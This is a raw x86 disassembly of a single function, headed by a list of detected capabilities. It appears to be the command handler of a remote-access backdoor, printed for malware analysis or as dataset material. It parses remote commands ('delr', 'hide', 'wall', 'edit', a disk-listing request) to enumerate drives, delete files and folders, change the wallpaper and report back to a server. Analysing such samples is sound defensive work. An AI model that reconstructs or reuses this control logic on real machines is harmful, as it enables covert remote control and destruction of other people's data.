Function at 0x100370c0
Capabilities:
Change the wallpaper
Create directory
Create process on windows
Create process suspended
Delete directory
Delete file
Get disk information
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101487b0
mov eax, dword fs:[0]
push eax
sub esp, 0x2e0
mov eax, dword [0x101a49d4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x184], ecx
mov eax, dword [ebp + 8]
add eax, 0x30
push eax
lea ecx, [ebp - 0xa4]
call fcn.10052530
mov esi, dword [ebp + 8]
add esi, 0x18
mov edi, dword [esi + 0x10]
mov ecx, esi
mov ebx, dword [esi + 0x14]
cmp ebx, 8
jb 0x1003711e
mov ecx, dword [esi]
cmp edi, 7
jne 0x10037af5
push edi
mov edx, 0x1018ffc8
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10037af5
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], edi
push eax
push 0x1018ed8c
lea ecx, [ebp - 0x11c]
call fcn.10051fd0
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], edi
push 0
push 0x1018ed8c
lea ecx, [ebp - 0xd4]
call fcn.10051fd0
lea ecx, [ebp - 0xa4]
cmp dword [ebp - 0x90], 8
cmovae ecx, dword [ebp - 0xa4]
cmp dword [ebp - 0x94], 0x1c
jne 0x10037251
push 0x1c
mov edx, str.pleasegetmelistofdisksthanks
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10037251
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
xor esi, esi
mov edx, 1
mov ecx, esi
shl edx, cl
test edi, edx
je 0x100371ff
lea eax, [esi + 0x41]
push eax
lea ecx, [ebp - 0x5c]
call fcn.10051da0
push 3
push 0x1018fd68
lea ecx, [ebp - 0x5c]
call fcn.100520e0
inc esi
cmp esi, 0x1a
jl 0x100371d7
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0xd4]
call fcn.100522e0
mov edx, dword [ebp - 0x48]
cmp edx, 8
jb 0x100372f9
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x5c]
mov eax, ecx
cmp edx, 0x1000
jb 0x100372ef
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
jmp 0x100372ef
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0x2c]
call fcn.100366b0
push eax
lea ecx, [ebp - 0x11c]
call fcn.100522e0
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x100372a5
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003729b
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10039564
push edx
push ecx
call fcn.1011a823
add esp, 8
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0x2c]
call fcn.10035470
push eax
lea ecx, [ebp - 0xd4]
call fcn.100522e0
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x100372f9
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x100372ef
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10039569
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ebx, 0x7ffffffe
mov eax, ebx
mov ecx, dword [ebp - 0x10c]
sub eax, ecx
cmp eax, 1
jb 0x1003956e
lea eax, [ebp - 0x11c]
cmp dword [ebp - 0x108], 8
cmovae eax, dword [ebp - 0x11c]
push 1
push 0x1018e170
push ecx
push eax
push ecx
push dword [ebp - 0x170]
lea ecx, [ebp - 0x2c]
call fcn.1005dba0
lea eax, [ebp - 0xd4]
cmp dword [ebp - 0xc0], 8
cmovae eax, dword [ebp - 0xd4]
push dword [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x2c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
push 0x18
push esi
lea eax, [ebp - 0x44]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x100373d3
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x100373c9
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10039573
push edx
push ecx
call fcn.1011a823
add esp, 8
push 0xfd8f0
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x17c]
call fcn.100237a0
add esp, 4
xor edi, edi
mov ecx, dword [ebp - 0x178]
sub ecx, dword [ebp - 0x17c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x100379fc
nop
mov edx, edi
lea ecx, [ebp - 0x104]
call fcn.10022ba0
mov dword [ebp - 0x170], eax
lea esi, [ebp - 0x11e]
mov ecx, dword [ebp - 0x178]
sub ecx, dword [ebp - 0x17c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
dec ecx
add ecx, edx
nop word [eax + eax]
add esi, 0xfffffffe
mov eax, 0xcccccccd
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
sub ecx, eax
add ecx, 0x30
mov word [esi], cx
mov ecx, edx
test ecx, ecx
jne 0x10037450
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], 7
lea eax, [ebp - 0x11e]
cmp esi, eax
je 0x10037495
sub eax, esi
sar eax, 1
push eax
push esi
lea ecx, [ebp - 0x5c]
call fcn.10051fd0
push 1
push 0x1018e190
lea ecx, [ebp - 0x5c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0
push 0x18
push esi
lea eax, [ebp - 0xbc]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
push dword [ebp - 0x170]
lea eax, [ebp - 0xbc]
push eax
push dword [ebp - 0x170]
lea ecx, [ebp - 0x2c]
call fcn.1005d9f0
push 1
push 0x1018e188
lea ecx, [ebp - 0x2c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
push 0x18
push esi
lea eax, [ebp - 0x8c]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x1003758c
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10037582
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
xor eax, eax
mov word [ebp - 0x2c], ax
mov edx, dword [ebp - 0xa8]
cmp edx, 8
jb 0x100375e0
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0xbc]
mov eax, ecx
cmp edx, 0x1000
jb 0x100375d6
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 7
xor eax, eax
mov word [ebp - 0xbc], ax
mov edx, dword [ebp - 0x48]
cmp edx, 8
jb 0x10037637
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x5c]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003762d
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 7
xor eax, eax
mov word [ebp - 0x5c], ax
mov edx, dword [ebp - 0xf0]
cmp edx, 8
jb 0x1003768b
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x104]
mov eax, ecx
cmp edx, 0x1000
jb 0x10037681
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
lea ecx, [edi + edi*2]
mov eax, dword [ebp - 0x17c]
lea esi, [eax + ecx*8]
mov eax, ebx
mov ecx, dword [ebp - 0x7c]
sub eax, ecx
cmp eax, 9
jb 0x1003956e
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], 8
cmovae eax, dword [ebp - 0x8c]
push ecx
push eax
push 9
push str.48manager
push ecx
push dword [ebp - 0x170]
lea ecx, [ebp - 0x2c]
call fcn.1005dba0
mov eax, dword [esi + 0x10]
cmp dword [esi + 0x14], 8
jb 0x100376db
mov esi, dword [esi]
push eax
push esi
lea ecx, [ebp - 0x2c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
push 0x18
push esi
lea eax, [ebp - 0x74]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x10037758
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003774e
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
test edi, edi
jne 0x10037881
mov esi, dword [ebp - 0x17c]
mov eax, ebx
mov ecx, dword [ebp - 0x7c]
sub eax, ecx
cmp eax, 0x18
jb 0x1003956e
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], 8
cmovae eax, dword [ebp - 0x8c]
push ecx
push eax
push 0x18
push str.48managerSTARTS848788787
push ecx
push dword [ebp - 0x170]
lea ecx, [ebp - 0x2c]
call fcn.1005dba0
mov eax, dword [esi + 0x10]
cmp dword [esi + 0x14], 8
jb 0x100377aa
mov esi, dword [esi]
push eax
push esi
lea ecx, [ebp - 0x2c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
push 0x18
push esi
lea eax, [ebp - 0x5c]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x74]
call fcn.100522e0
mov edx, dword [ebp - 0x48]
cmp edx, 8
jb 0x10037833
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x5c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10037829
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 7
xor eax, eax
mov word [ebp - 0x5c], ax
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x10037881
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10037877
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp - 0x178]
sub ecx, dword [ebp - 0x17c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
dec eax
add eax, edx
cmp edi, eax
jne 0x1003791c
mov eax, ebx
mov ecx, dword [ebp - 0x64]
sub eax, ecx
cmp eax, 0x15
jb 0x1003956e
lea eax, [ebp - 0x74]
cmp dword [ebp - 0x60], 8
cmovae eax, dword [ebp - 0x74]
push 0x15
push str.85646458645456_ENDING
push ecx
push eax
push ecx
push dword [ebp - 0x170]
lea ecx, [ebp - 0x2c]
call fcn.1005dba0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x74]
call fcn.100522e0
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x1003791c
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10037912
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x74]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
cmp eax, 0xffffffff
je 0x1003957d
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x60]
cmp edx, 8
jb 0x10037985
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x74]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003797b
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 7
xor eax, eax
mov word [ebp - 0x74], ax
mov edx, dword [ebp - 0x78]
cmp edx, 8
jb 0x100379d6
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x8c]
mov eax, ecx
cmp edx, 0x1000
jb 0x100379cc
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
inc edi
mov ecx, dword [ebp - 0x178]
sub ecx, dword [ebp - 0x17c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x10037410
lea ecx, [ebp - 0x17c]
call fcn.10055820
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x10037a41
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x44]
mov eax, ecx
cmp edx, 0x1000
jb 0x10037a37
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10039578
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
xor eax, eax
mov word [ebp - 0x44], ax
mov edx, dword [ebp - 0xc0]
cmp edx, 8
jb 0x10037a95
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0xd4]
mov eax, ecx
cmp edx, 0x1000
jb 0x10037a8b
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10039578
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 7
xor eax, eax
mov word [ebp - 0xd4], ax
mov edx, dword [ebp - 0x108]
cmp edx, 8
jb 0x10039530
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x11c]
mov eax, ecx
cmp edx, 0x1000
jb 0x100384cf
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10039578
jmp 0x100384cf
mov ecx, esi
cmp ebx, 8
jb 0x10037afe
mov ecx, dword [esi]
cmp edi, 3
jne 0x10037d47
push edi
mov edx, 0x101900b8
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10037d47
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 7
push eax
push 0x1018ed8c
lea ecx, [ebp - 0x44]
call fcn.10051fd0
lea ecx, [ebp - 0xa4]
mov esi, dword [ebp - 0x90]
cmp esi, 8
mov edi, dword [ebp - 0xa4]
cmovae ecx, edi
push 1
push 0x101900c0
push 0
mov edx, dword [ebp - 0x94]
call fcn.1005b900
add esp, 0xc
cmp eax, 0xffffffff
je 0x10037cae
push 0x3f
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0x17c]
call fcn.10023670
add esp, 4
mov ebx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x180], ebx
cmp ebx, eax
je 0x10037ca1
push ebx
lea ecx, [ebp - 0x8c]
call fcn.10052530
lea ecx, [ebp - 0x8c]
mov edi, dword [ebp - 0x78]
cmp edi, 8
mov esi, dword [ebp - 0x8c]
cmovae ecx, esi
cmp dword [ebp - 0x7c], 1
jne 0x10037c03
push 1
mov edx, 0x101900c0
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10037c03
lea ecx, [ebp - 0x8c]
cmp edi, 8
cmovae ecx, esi
cmp dword [ebp - 0x7c], eax
jne 0x10037c03
push eax
mov edx, 0x1018ed8c
call fcn.10056450
add esp, 4
test eax, eax
je 0x10037c5f
mov dword [ebp - 4], 0
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], 8
cmovae eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x101900c4
test eax, eax
mov eax, str.false
cmove ecx, eax
push ecx
lea ecx, [ebp - 0x44]
call fcn.100522b0
mov dword [ebp - 4], 0xffffffff
jmp 0x10037c56
mov esi, dword [ebp - 0x8c]
mov edi, dword [ebp - 0x78]
cmp edi, 8
jb 0x10037c93
lea edi, [edi*2 + 2]
mov eax, esi
cmp edi, 0x1000
jb 0x10037c89
add edi, 0x23
mov esi, dword [esi - 4]
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100395b7
push edi
push esi
call fcn.1011a823
add esp, 8
add ebx, 0x18
mov eax, dword [ebp - 0x170]
jmp 0x10037b98
lea ecx, [ebp - 0x17c]
call fcn.10055820
jmp 0x10037cdd
lea eax, [ebp - 0xa4]
cmp esi, 8
cmovae eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x44]
test eax, eax
je 0x10037cd1
push 4
push 0x101900c4
jmp 0x10037cd8
push 5
push str.false
call fcn.10051fd0
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x44]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
cmp eax, 0xffffffff
jne 0x10037d0a
mov edx, str.Error_sending_data_to_server___Del_
jmp 0x10039582
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x10039530
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x44]
mov eax, ecx
cmp edx, 0x1000
jb 0x100384cf
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100395bc
jmp 0x100384cf
mov ecx, esi
cmp ebx, 8
jb 0x10037d50
mov ecx, dword [esi]
cmp edi, 4
jne 0x10037d9b
push edi
mov edx, str.delr
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10037d9b
mov dword [ebp - 4], 2
lea eax, [ebp - 0xa4]
cmp dword [ebp - 0x90], 8
cmovae eax, dword [ebp - 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 4], 0xffffffff
jmp 0x10039530
mov ecx, esi
cmp ebx, 8
jb 0x10037da4
mov ecx, dword [esi]
cmp edi, 4
jne 0x10037ddb
push edi
mov edx, str.hide
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10037ddb
mov eax, dword [ebp + 8]
add eax, 0x30
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10052530
mov cl, 1
call fcn.10035300
add esp, 0x18
jmp 0x10039530
mov ecx, esi
cmp ebx, 8
jb 0x10037de4
mov ecx, dword [esi]
cmp edi, 4
jne 0x10037e1b
push edi
mov edx, str.show
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10037e1b
mov eax, dword [ebp + 8]
add eax, 0x30
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10052530
xor cl, cl
call fcn.10035300
add esp, 0x18
jmp 0x10039530
mov ecx, esi
cmp ebx, 8
jb 0x10037e24
mov ecx, dword [esi]
cmp edi, 4
jne 0x10037e5b
push edi
mov edx, str.wall
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10037e5b
mov eax, dword [ebp + 8]
add eax, 0x30
cmp dword [eax + 0x14], 8
jb 0x10037e49
mov eax, dword [eax]
push 3
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
jmp 0x10039530
mov ecx, esi
cmp ebx, 8
jb 0x10037e64
mov ecx, dword [esi]
cmp edi, 4
jne 0x100384de
push edi
mov edx, str.edit
call fcn.10056450
add esp, 4
test eax, eax
jne 0x100384de
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0xbc]
call fcn.10036230
push 0xfd8f0
lea edx, [ebp - 0xbc]
lea ecx, [ebp - 0x17c]
call fcn.100237a0
add esp, 4
xor edi, edi
mov ecx, dword [ebp - 0x178]
sub ecx, dword [ebp - 0x17c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x1003848a
mov edx, edi
lea ecx, [ebp - 0x104]
call fcn.10022ba0
mov ebx, eax
lea esi, [ebp - 0x11e]
mov ecx, dword [ebp - 0x178]
sub ecx, dword [ebp - 0x17c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
dec ecx
add ecx, edx
add esi, 0xfffffffe
mov eax, 0xcccccccd
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
sub ecx, eax
add ecx, 0x30
mov word [esi], cx
mov ecx, edx
test ecx, ecx
jne 0x10037f05
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], 7
lea eax, [ebp - 0x11e]
cmp esi, eax
je 0x10037f4a
sub eax, esi
sar eax, 1
push eax
push esi
lea ecx, [ebp - 0x5c]
call fcn.10051fd0
push 1
push 0x1018e190
lea ecx, [ebp - 0x5c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
push 0x18
push esi
lea eax, [ebp - 0x44]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
push ebx
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x170]
lea ecx, [ebp - 0x2c]
call fcn.1005d9f0
push 1
push 0x1018e188
lea ecx, [ebp - 0x2c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
push 0x18
push esi
lea eax, [ebp - 0x8c]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x1003802d
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10038023
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
xor eax, eax
mov word [ebp - 0x2c], ax
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x1003807b
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x44]
mov eax, ecx
cmp edx, 0x1000
jb 0x10038071
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
xor eax, eax
mov word [ebp - 0x44], ax
mov edx, dword [ebp - 0x48]
cmp edx, 8
jb 0x100380c9
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x5c]
mov eax, ecx
cmp edx, 0x1000
jb 0x100380bf
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 7
xor eax, eax
mov word [ebp - 0x5c], ax
mov edx, dword [ebp - 0xf0]
cmp edx, 8
jb 0x1003811d
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x104]
mov eax, ecx
cmp edx, 0x1000
jb 0x10038113
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
lea ecx, [edi + edi*2]
mov eax, dword [ebp - 0x17c]
lea esi, [eax + ecx*8]
mov ebx, 0x7ffffffe
mov eax, ebx
mov ecx, dword [ebp - 0x7c]
sub eax, ecx
cmp eax, 0xb
jb 0x1003956e
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], 8
cmovae eax, dword [ebp - 0x8c]
push ecx
push eax
push 0xb
push str.554edit6556
push ecx
push dword [ebp - 0x170]
lea ecx, [ebp - 0x2c]
call fcn.1005dba0
mov eax, dword [esi + 0x10]
cmp dword [esi + 0x14], 8
jb 0x10038172
mov esi, dword [esi]
push eax
push esi
lea ecx, [ebp - 0x2c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
push 0x18
push esi
lea eax, [ebp - 0x74]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x100381ef
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x100381e5
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
test edi, edi
jne 0x10038318
mov esi, dword [ebp - 0x17c]
mov eax, ebx
mov ecx, dword [ebp - 0x7c]
sub eax, ecx
cmp eax, 0x1a
jb 0x1003956e
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], 8
cmovae eax, dword [ebp - 0x8c]
push ecx
push eax
push 0x1a
push str.554edit6556STARTS848788787
push ecx
push dword [ebp - 0x170]
lea ecx, [ebp - 0x2c]
call fcn.1005dba0
mov eax, dword [esi + 0x10]
cmp dword [esi + 0x14], 8
jb 0x10038241
mov esi, dword [esi]
push eax
push esi
lea ecx, [ebp - 0x2c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
push 0x18
push esi
lea eax, [ebp - 0x44]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x74]
call fcn.100522e0
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x100382ca
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x44]
mov eax, ecx
cmp edx, 0x1000
jb 0x100382c0
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
xor eax, eax
mov word [ebp - 0x44], ax
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x10038318
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003830e
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp - 0x178]
sub ecx, dword [ebp - 0x17c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
dec eax
add eax, edx
cmp edi, eax
jne 0x100383b3
mov eax, ebx
mov ecx, dword [ebp - 0x64]
sub eax, ecx
